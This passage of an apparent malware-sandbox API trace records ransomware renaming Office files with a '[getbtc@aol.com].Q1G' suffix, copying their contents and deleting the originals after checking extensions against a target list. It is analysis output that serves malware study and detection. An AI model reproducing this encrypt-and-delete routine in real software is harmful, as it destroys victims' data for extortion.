Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs")) returned 0x20 [0256.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0256.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.906] lstrlenW (lpString=".doc") returned 4 [0256.906] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0256.906] lstrlenW (lpString=".docx") returned 5 [0256.906] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0256.906] lstrlenW (lpString=".pdf") returned 4 [0256.907] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString=".xls") returned 4 [0256.907] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString=".xlsx") returned 5 [0256.907] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0256.907] lstrlenW (lpString=".ppt") returned 4 [0256.907] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.907] lstrlenW (lpString=".zip") returned 4 [0256.907] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString=".rar") returned 4 [0256.907] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString=".bz2") returned 4 [0256.907] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0256.907] lstrlenW (lpString=".7z") returned 3 [0256.907] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0256.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.907] lstrlenW (lpString=".dbf") returned 4 [0256.907] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0256.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.907] lstrlenW (lpString=".1cd") returned 4 [0256.907] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0256.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.907] lstrlenW (lpString=".jpg") returned 4 [0256.907] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.907] lstrlenW (lpString=".doc") returned 4 [0256.907] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0256.907] lstrlenW (lpString=".docx") returned 5 [0256.907] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0256.907] lstrlenW (lpString=".pdf") returned 4 [0256.907] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0256.907] lstrlenW (lpString=".xls") returned 4 [0256.907] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0256.908] lstrlenW (lpString=".xlsx") returned 5 [0256.908] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0256.908] lstrlenW (lpString=".ppt") returned 4 [0256.908] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0256.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.908] lstrlenW (lpString=".zip") returned 4 [0256.908] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0256.908] lstrlenW (lpString=".rar") returned 4 [0256.908] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0256.908] lstrlenW (lpString=".bz2") returned 4 [0256.908] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0256.908] lstrlenW (lpString=".7z") returned 3 [0256.908] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0256.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.908] lstrlenW (lpString=".dbf") returned 4 [0256.908] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0256.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.908] lstrlenW (lpString=".1cd") returned 4 [0256.908] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0256.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0256.908] lstrlenW (lpString=".jpg") returned 4 [0256.908] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0256.908] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0256.908] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0256.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.909] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=631) returned 1 [0256.909] CloseHandle (hObject=0x360) returned 1 [0256.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 0x20 [0256.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.910] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.910] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.910] GetLastError () returned 0x0 [0256.910] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x277, lpOverlapped=0x0) returned 1 [0256.912] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0256.913] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.913] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0256.913] SetEndOfFile (hFile=0x3c0) returned 1 [0256.913] CloseHandle (hObject=0x3c0) returned 1 [0256.913] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.913] SetEndOfFile (hFile=0x360) returned 1 [0256.915] CloseHandle (hObject=0x360) returned 1 [0256.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 1 [0256.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.916] lstrlenW (lpString=".doc") returned 4 [0256.916] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.916] lstrlenW (lpString=".docx") returned 5 [0256.916] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.916] lstrlenW (lpString=".pdf") returned 4 [0256.916] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.916] lstrlenW (lpString=".xls") returned 4 [0256.916] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.916] lstrlenW (lpString=".xlsx") returned 5 [0256.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.916] lstrlenW (lpString=".ppt") returned 4 [0256.916] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.916] lstrlenW (lpString=".zip") returned 4 [0256.916] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.916] lstrlenW (lpString=".rar") returned 4 [0256.916] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.916] lstrlenW (lpString=".bz2") returned 4 [0256.916] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.916] lstrlenW (lpString=".7z") returned 3 [0256.916] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".dbf") returned 4 [0256.917] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".1cd") returned 4 [0256.917] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".jpg") returned 4 [0256.917] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".doc") returned 4 [0256.917] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.917] lstrlenW (lpString=".docx") returned 5 [0256.917] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.917] lstrlenW (lpString=".pdf") returned 4 [0256.917] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.917] lstrlenW (lpString=".xls") returned 4 [0256.917] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.917] lstrlenW (lpString=".xlsx") returned 5 [0256.917] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.917] lstrlenW (lpString=".ppt") returned 4 [0256.917] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".zip") returned 4 [0256.917] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.917] lstrlenW (lpString=".rar") returned 4 [0256.917] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.917] lstrlenW (lpString=".bz2") returned 4 [0256.917] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.917] lstrlenW (lpString=".7z") returned 3 [0256.917] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".dbf") returned 4 [0256.917] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.917] lstrlenW (lpString=".1cd") returned 4 [0256.918] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0256.918] lstrlenW (lpString=".jpg") returned 4 [0256.918] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.918] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0256.918] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0256.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.918] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=207) returned 1 [0256.918] CloseHandle (hObject=0x360) returned 1 [0256.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 0x20 [0256.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.919] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.919] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.919] GetLastError () returned 0x0 [0256.919] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xcf, lpOverlapped=0x0) returned 1 [0256.920] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0256.921] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.921] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0256.921] SetEndOfFile (hFile=0x3c0) returned 1 [0256.922] CloseHandle (hObject=0x3c0) returned 1 [0256.922] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.922] SetEndOfFile (hFile=0x360) returned 1 [0257.068] CloseHandle (hObject=0x360) returned 1 [0257.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.100] lstrlenW (lpString=".doc") returned 4 [0257.100] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0257.100] lstrlenW (lpString=".docx") returned 5 [0257.100] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0257.100] lstrlenW (lpString=".pdf") returned 4 [0257.100] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0257.100] lstrlenW (lpString=".xls") returned 4 [0257.100] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0257.100] lstrlenW (lpString=".xlsx") returned 5 [0257.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0257.100] lstrlenW (lpString=".ppt") returned 4 [0257.100] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.100] lstrlenW (lpString=".zip") returned 4 [0257.100] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0257.100] lstrlenW (lpString=".rar") returned 4 [0257.100] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0257.100] lstrlenW (lpString=".bz2") returned 4 [0257.100] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0257.100] lstrlenW (lpString=".7z") returned 3 [0257.100] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.100] lstrlenW (lpString=".dbf") returned 4 [0257.100] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.100] lstrlenW (lpString=".1cd") returned 4 [0257.101] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString=".jpg") returned 4 [0257.101] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString=".doc") returned 4 [0257.101] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0257.101] lstrlenW (lpString=".docx") returned 5 [0257.101] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0257.101] lstrlenW (lpString=".pdf") returned 4 [0257.101] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0257.101] lstrlenW (lpString=".xls") returned 4 [0257.101] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0257.101] lstrlenW (lpString=".xlsx") returned 5 [0257.101] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0257.101] lstrlenW (lpString=".ppt") returned 4 [0257.101] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString=".zip") returned 4 [0257.101] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0257.101] lstrlenW (lpString=".rar") returned 4 [0257.101] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0257.101] lstrlenW (lpString=".bz2") returned 4 [0257.101] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0257.101] lstrlenW (lpString=".7z") returned 3 [0257.101] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString=".dbf") returned 4 [0257.101] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString=".1cd") returned 4 [0257.101] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0257.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0257.101] lstrlenW (lpString=".jpg") returned 4 [0257.102] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0257.102] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.102] lstrlenW (lpString="WWINTL.DLL") returned 10 [0257.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.102] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=901464) returned 1 [0257.102] CloseHandle (hObject=0x3e4) returned 1 [0257.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll")) returned 0x20 [0257.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.103] lstrlenW (lpString=".doc") returned 4 [0257.103] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.103] lstrlenW (lpString=".docx") returned 5 [0257.103] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0257.103] lstrlenW (lpString=".pdf") returned 4 [0257.103] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.103] lstrlenW (lpString=".xls") returned 4 [0257.103] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.103] lstrlenW (lpString=".xlsx") returned 5 [0257.103] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0257.103] lstrlenW (lpString=".ppt") returned 4 [0257.103] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.103] lstrlenW (lpString=".zip") returned 4 [0257.103] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.103] lstrlenW (lpString=".rar") returned 4 [0257.103] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.103] lstrlenW (lpString=".bz2") returned 4 [0257.103] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.103] lstrlenW (lpString=".7z") returned 3 [0257.103] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.103] lstrlenW (lpString=".dbf") returned 4 [0257.103] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.103] lstrlenW (lpString=".1cd") returned 4 [0257.104] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString=".jpg") returned 4 [0257.104] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString=".doc") returned 4 [0257.104] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.104] lstrlenW (lpString=".docx") returned 5 [0257.104] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0257.104] lstrlenW (lpString=".pdf") returned 4 [0257.104] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.104] lstrlenW (lpString=".xls") returned 4 [0257.104] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.104] lstrlenW (lpString=".xlsx") returned 5 [0257.104] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0257.104] lstrlenW (lpString=".ppt") returned 4 [0257.104] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 